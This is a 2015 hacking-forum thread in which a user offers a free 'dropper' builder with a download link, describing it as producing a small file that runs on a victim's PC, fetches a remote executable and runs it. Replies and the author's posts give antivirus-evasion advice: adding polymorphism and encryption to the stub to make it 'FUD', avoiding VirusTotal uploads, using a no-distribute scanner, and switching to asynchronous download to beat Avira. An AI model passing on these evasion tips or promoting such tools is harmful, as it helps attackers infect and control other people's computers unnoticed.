Thread: [\[FREE\] ProperDropper V1](#)

Dutch_Apple - March 23, 2015, 5:54 pm

Hey members of HF,

Just spend a couple hours building a dropper(its only very simple), just insert details into the builder, build and you're good to go.

Like I said, I just spend a short time today on it so not brilliant but its 1/64(damn you avira). Probably not much use to anyone but I though i'd post it just incase anyone would like it. Please try not to get the stub detected by uploading your stuff to VT and co.(even though the stub isnt very much anyway, but whatever).

I tried to remove the Avira detection but even with an almost empty project, with just the bare essentials, nothing changed(I probably did something wrong).

mediafire com /download/ mu9jf7rewtnafz/ ProperDropper.rar

If/when anyone finds something wrong or would like to suggest something or even suggest a different project all together. Please drop me a message or reply here :)
?

Seems legit, but I suggest you upload a virus total scan or something of the sort.

Jallu - March 24, 2015, 2:55 am

Add some simple polymorphism and encryption to the stub and it should be FUD.(For now)

Sogomn - March 24, 2015, 4:33 am

Sorry for asking but what exactly is this supposed to do?

5chn4pp - March 24, 2015, 8:37 am

this is now detected by qihoo 360 also

Dutch_Apple - March 24, 2015, 10:10 am

Thanks for all the replies everyone! If anyone has any other ideas please let me know :)

DON'T UPLOAD TO VIRUS TOTAL AND OTHER DISRIBUTING SERVICES PLEASE

(Mar 23, 2015 06:49 PM)Jaxius Wrote: [\[CITE\]](#) Seems legit, but I suggest you upload a virus total scan or something of the sort.I was going to post a virus scan and screenshots etc but until i get to 50 posts i can't put images or links up apparently.

Latest Stub Scan orwayscanner[dot]com[/slash]scanner.php?report=B0bfcb_g0sefdBB

Latest Builder Scan orwayscanner[dot]com[/slash]scanner.php?report=Bd025d_g0sek3BB

(Mar 24, 2015 02:55 AM)Wintows Wrote: [\[CITE\]](#) Add some simple polymorphism and encryption to the stub and it should be FUD.(For now)Ill take a look and see what I can do, its still quite UD right now, 1/64.

Thanks or the suggestion :)

(Mar 24, 2015 04:33 AM)Sogomn Wrote: [\[CITE\]](#) Sorry for asking but what exactly is this supposed to do?Its a dropper generator. Input your direct file link (e.g website[dot]com[/slash]server.exe) and

choose other settings then build. The built file is around 11KB in size, its designed to be run on your "Client's" pc and it downloads your file then automatically executes it. Often used for a JDB because of small filesize. Or binding with another application without much change. Give it a try :)

(Mar 24, 2015 08:37 AM)One Virus(° ? °) Wrote: [\[CITE\]](#) this is now detected by qihoo 360 also thats a shame, my AV scanner says 1/64 still but im looking into re-FUDing etc.
Thanks for letting me know

Dutch_Apple - March 28, 2015, 9:28 am

Weirdly enough, to remove the Avira detection all that was needed was to change to asynchronous download instead of synchronous :P
